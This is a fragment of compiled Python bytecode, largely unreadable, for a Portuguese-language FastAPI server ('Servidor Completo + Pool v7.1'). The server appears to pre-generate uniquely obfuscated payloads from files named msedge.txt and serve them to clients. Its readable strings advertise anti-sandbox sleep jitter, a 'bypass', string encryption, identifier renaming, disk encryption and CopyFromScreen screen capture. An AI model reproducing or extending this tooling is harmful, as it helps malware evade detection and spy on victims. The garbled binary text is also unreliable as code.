)r‘   Úcopyr   Úgetr—   ró   rû   r
  r.  r5  rP  rV  rb  rm  r£  r   ÚnowÚstrftimeÚhashlibÚmd5r6   rL   Ú	hexdigestÚupper)r~   r¤  r   Ú	timestampÚunique_hashÚheaderr<   r<   r=   Úprotect_code_complete	  sN   ý

ô*þýr°  c                   @   s´   e Zd ZdZdd„ Zdedejfdd„Zdede	e fdd	„Z
d
d„ Zdefdd„Zddedefdd„Zdede	e fdd„Zdefdd„Zdefdd„Zdd„ Zdefdd„ZdS )ÚCodePoolu‘   
    Pool de cÃ³digos prÃ©-gerados.
    - Gera cÃ³digos em background
    - Cliente recebe cÃ³digo instantÃ¢neo
    - ZERO perda de clientes
    c                 C   sp   i | _ i | _i | _i | _t ¡ | _t ¡ | _	d| _
dddddœ| _ttd ƒD ]}tj| jdd}| ¡  q'd S )NTr   )Ú	generatedÚserved_from_poolÚserved_generatedÚtotal_requestsr1   )ÚtargetÚdaemon)ÚpoolsÚsource_cacheÚsource_mtimeÚlocksÚ	threadingÚLockÚglobal_lockÚqueueÚQueueÚgenerator_queueÚrunningÚstatsrB   ÚPOOL_CONFIGÚThreadÚ_generator_workerri   )Úselfrh   rf  r<   r<   r=   Ú__init__Z  s    

ü
þzCodePool.__init__Úfolderrp  c                 C   sL   | j  || jvrt ¡ | j|< | j| W  d   ƒ S 1 sw   Y  d S r4   )r¾  r»  r¼  r½  ©rÇ  rÉ  r<   r<   r=   Ú	_get_lockm  s
   
$ýzCodePool._get_lockc           
   
   C   s„  t d }t d }|rtj |||¡ntj ||¡}tj |¡s!d S tj |¡}|| jv r:| j |d¡|kr:| j| S zjt	|dƒ}| 
¡ }W d   ƒ n1 sOw   Y  | d¡rb|dd …  d¡n| d¡}|| j|< || j|< || jv r’|  |¡ | j|  ¡  W d   ƒ n1 sw   Y  td|p—d	› d
t|ƒd›dƒ |W S  tyÁ }	 ztd|› d
|	› ƒ W Y d }	~	d S d }	~	ww )Nr   r   r   Úrbs   ï»¿r   rc  z[CACHE] Carregado Úraizz: rS   z charsz[ERRO] Carregar )ÚSERVER_CONFIGr‘  ÚpathrA   ÚexistsÚgetmtimer¹  rº  r¦  ÚopenÚreadrD  rM   r¸  rË  ÚclearÚprintr_   Ú	Exception)
rÇ  rÉ  ÚbaseÚsrcrÏ  Úmtimer$  Úrawr~   Úer<   r<   r=   Ú_load_sources  s4   "

ÿ&


ÿ €þzCodePool._load_sourcec              
   C   s€   | j r>z| jjdd}|  |¡ | j ¡  W n" tjy    Y q  ty8 } ztd|› ƒ W Y d }~nd }~ww | j sd S d S )NrQ   )Útimeoutz[ERRO] Generator: )	rÂ  rÁ  r¦  Ú_generate_oneÚ	task_doner¿  ÚEmptyrÖ  rÕ  )rÇ  rÉ  rÛ  r<   r<   r=   rÆ  ’  s   
€ÿùzCodePool._generator_workerc              
   C   s  |   |¡}|s	d S zbt ¡ }t|ƒ}t ¡ | d }|  |¡ || jvr/ttd d| j|< | j|  |¡ W d   ƒ n1 sAw   Y  | jd  d7  < t	| j 
|g ¡ƒ}td|p]d› d|d	›d
|› dƒ W d S  ty… } ztd|› ƒ W Y d }~d S d }~ww )Nr   r/   )Úmaxlenr²  rQ   z[POOL] Gerado para rÍ  z em ú.0fz
ms (pool: r^   u   [ERRO] Gerar cÃ³digo: )rÜ  Útimer°  rË  r¸  r   rÄ  ra   rÃ  r_   r¦  rÕ  rÖ  )rÇ  rÉ  Úsourceri   Ú	protectedÚelapsedÚ	pool_sizerÛ  r<   r<   r=   rÞ    s&   

ý(€ÿzCodePool._generate_onerQ   Úcountc                 C   s   t |ƒD ]}| j |¡ qd S r4   )rB   rÁ  Úput)rÇ  rÉ  rè  r9   r<   r<   r=   Ú_request_generation²  s   ÿzCodePool._request_generationc                 C   s0  | j d  d7  < |r| d¡nd}|  |¡}|sd S |  |¡O || jv rh| j| rh| j|  ¡ }t| j| ƒ}| j d  d7  < |td k rR|  |td | ¡ t	d|pWd	› d
|› dƒ |W  d   ƒ S W d   ƒ n1 srw   Y  t	d|p|d	› dƒ t
|ƒ}| j d  d7  < |  |td ¡ |S )Nrµ  rQ   ú/r3   r³  r0   r.   z[POOL] Servido do pool rÍ  z
 (restam: r^   z[POOL] Pool vazio para z, gerando...r´  )rÃ  rC  rÜ  rË  r¸  Úpopleftr_   rÄ  rê  rÕ  r°  )rÇ  rÉ  rä  r~   rç  rå  r<   r<   r=   Úget_code¶  s,   
ö€ zCodePool.get_codec                 C   s(   t d|pd› dƒ |  |td ¡ d S )Nu   [WARMUP] PrÃ©-gerando para rÍ  z...r.   )rÕ  rê  rÄ  rÊ  r<   r<   r=   ÚwarmupÒ  s   zCodePool.warmupc              
   C   sº   t d }t d }g }tj tj ||¡¡r| d¡ z(t |¡D ]}tj ||¡}tj |¡r?tj tj ||¡¡r?| |¡ q W |S  ty\ } zt	d|› ƒ W Y d}~|S d}~ww )u,   Descobre todas as pastas que tÃªm msedge.txtr   r   r3   z[ERRO] Ao escanear pastas: N)
rÎ  r‘  rÏ  rÐ  rA   ra   ÚlistdirÚisdirrÖ  rÕ  )rÇ  r×  rØ  ÚfoldersÚitemÚ	item_pathrÛ  r<   r<   r=   Údiscover_foldersÖ  s&   

€üý€ýzCodePool.discover_foldersc                 C   sN   |   ¡ }tdt|ƒ› dtd › ƒ |D ]}|  |¡ td|p d› ƒ qdS )u/   PrÃ©-aquece TODAS as pastas que tÃªm msedge.txtz[WARMUP] Encontradas z pasta(s) com r   z[WARMUP] Iniciado: rÍ  N)rô  rÕ  r_   rÎ  rî  )rÇ  rñ  rÉ  r<   r<   r=   Ú
warmup_allì  s   
þzCodePool.warmup_allc                 C   sD   dd„ | j  ¡ D ƒ}| jd | jd | jd | jd || j ¡ dœS )Nc                 S   s   i | ]\}}|p	d t |ƒ“qS ©rÍ  )r_   )r8   r$  Úpr<   r<   r=   Ú
<dictcomp>ö  s    z&CodePool.get_stats.<locals>.<dictcomp>r²  r³  r´  rµ  )r²  r³  r´  rµ  Ú
pool_sizesÚ
queue_size)r¸  rå   rÃ  rÁ  Úqsize)rÇ  Ú
pools_infor<   r<   r=   Ú	get_statsõ  s   úzCodePool.get_statsN)rQ   )Ú__name__Ú
__module__Ú__qualname__Ú__doc__rÈ  rT   r¼  r½  rË  r   rÜ  rÆ  rÞ  rz   rê  rí  rî  rq  rô  rõ  Údictrý  r<   r<   r<   r=   r±  R  s    	r±  )ÚFastAPI)ÚPlainTextResponsez:ERRO: pip3 install fastapi uvicorn --break-system-packagesrQ   zServidor Completo + Pool v7.1ú7.1)ÚtitleÚversionri   Ústartupc                  Ã   sâ   t  ¡ td< trdnd} tƒ  tdƒ tdƒ tdƒ tdƒ tdƒ td	ƒ td
ƒ tdƒ tdƒ tdƒ td| d›dƒ tdƒ tƒ  tsQtdƒ tƒ  tdtd › dtd › ƒ tdtd › ƒ tƒ  t ¡  d S )Nri   u   RÃPIDO (cryptography)zLENTO (Python puro)uê   â•”â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•—uQ   â•‘     SERVIDOR COMPLETO + POOL v7.1 - AUTO-WARMUP                           â•‘uê   â• â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•£uV   â•‘  [âœ“] TODAS as proteÃ§Ãµes do proteger_FUNCIONAL.py v7.1                      â•‘uT   â•‘  [âœ“] Sleep com Jitter (anti-sandbox)                                       â•‘uU   â•‘  [âœ“] CopyFromScreen via REGEX (todas instÃ¢ncias)                           â•‘uX   â•‘  [âœ“] DetecÃ§Ã£o automÃ¡tica de IPs/domÃ­nios                                   â•‘uT   â•‘  [âœ“] ZERO PERDA DE CLIENTES - Sistema de pool                              â•‘uU   â•‘  [âœ“] PRÃ‰-AQUECE TODAS AS PASTAS AUTOMATICAMENTE                            â•‘uV   â•‘  [âœ“] Cliente recebe cÃ³digo INSTANTÃ‚NEO                                     â•‘u   â•‘  [âœ“] AES: z<54u    â•‘uê   â•šâ•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•zB[AVISO] Instale: pip3 install cryptography --break-system-packagesz[OK] Pool: min=r.   z, max=r/   z[OK] Threads geradoras: r1   )r   r§  rÃ  r‚  rÕ  rÄ  Ú	code_poolrõ  )Ú
aes_statusr<   r<   r=   r    s0   €z	/proteger)Úresponse_classrÉ  c                 Ã   sr   t   ¡ }t | ¡}|d u rtd| pd› ddS t   ¡ | d }td| p&d› dt|ƒd›d	|d
›dƒ t|ƒS )Nu&   # ERRO: msedge.txt nÃ£o encontrado em rÍ  i”  )Ústatus_coder   z[OK] u    â†’ rS   z
 chars em râ  r§   )rã  r	  rí  r  rÕ  r_   )rÉ  ri   r~   ræ  r<   r<   r=   Úproteger5  s   €
(r  z/warmupc                 Ã   s   t  | ¡ d| p
ddœS )Nz
warming uprÍ  )ÚstatusrÉ  )r	  rî  )rÉ  r<   r<   r=   rî  C  s   €
rî  z/statsc                   Ã   sh   t d rtt ¡ t d  ƒnd tt ¡ td td td td td td td td	 td
 dœ	dœS )Nri   r   r   r   r   r   r   r    r!   r%   )	Úsleep_jitterÚbypassÚstring_encryptÚ
var_renameÚfunc_renameÚtype_obfuscationÚcomment_removalÚnumber_obfuscationÚdisk_encrypt)ÚuptimeÚaes_fastÚpoolr¤  )rÃ  rT   r   r§  r‚  r	  rý  r‘   r<   r<   r<   r=   rý  I  s   €÷ürý  z/healthc                  Ã   s*   t  ¡ } ddtdt| ƒdd„ | D ƒdœS )NÚokr  Tc                 S   s   g | ]}|pd ‘qS rö  r<   r#  r<   r<   r=   r'  f  rt   zhealth.<locals>.<listcomp>)r  r  r  r  Úfolders_detectedrñ  )r	  rô  r‚  r_   )rñ  r<   r<   r=   Úhealth]  s   €úr  z/foldersc                  Ã   s\   t  ¡ } t  ¡ }g }| D ]}|pd}|d  |d¡}| |||dkdœ¡ q|t| ƒdœS )z/Lista todas as pastas detectadas com msedge.txtrÍ  rù  r   )rÉ  rç  Úready)rñ  Útotal)r	  rô  rý  r¦  ra   r_   )rñ  Ú
pool_statsÚresultrÉ  rE   rç  r<   r<   r=   Úlist_foldersj  s   €
ýr"  Ú__main__z:appr   r   Úinfo)r   r   r   Ú	log_level)r2   r3   )r[   r   r4   )r3   )Vr  r‘  Úsysrã  r6   r?   rw   rJ   rf  r©  r¼  ÚmultiprocessingÚpathlibr   r   Útypingr   r   r   Úconcurrent.futuresr   r¥  r¿  Úcollectionsr   Ú&cryptography.hazmat.primitives.ciphersr	   r
   r   Úcryptography.hazmat.backendsr   r‚  ÚImportErrorrÎ  r‘   ÚPROJECT_CONFIGrÄ  rF   rI   rP   rZ   rk   rv   r   r—   ró   rû   r
  r.  r5  rP  rV  rb  rm  r~  rŽ  rT   r£  r  r°  r±  r	  Úfastapir  Úfastapi.responsesr  ÚuvicornrÕ  ÚexitÚapprÃ  Úon_eventr  r¦  r  rî  rý  r  r"  rþ  rÏ  ÚsplitextÚbasenameÚargvÚscriptÚrunr<   r<   r<   r=   Ú<module>   sü   ÿú	üûúùôóòñðïîíìëêéýü

;Q!A"+m0I 0þ
 





ÿþ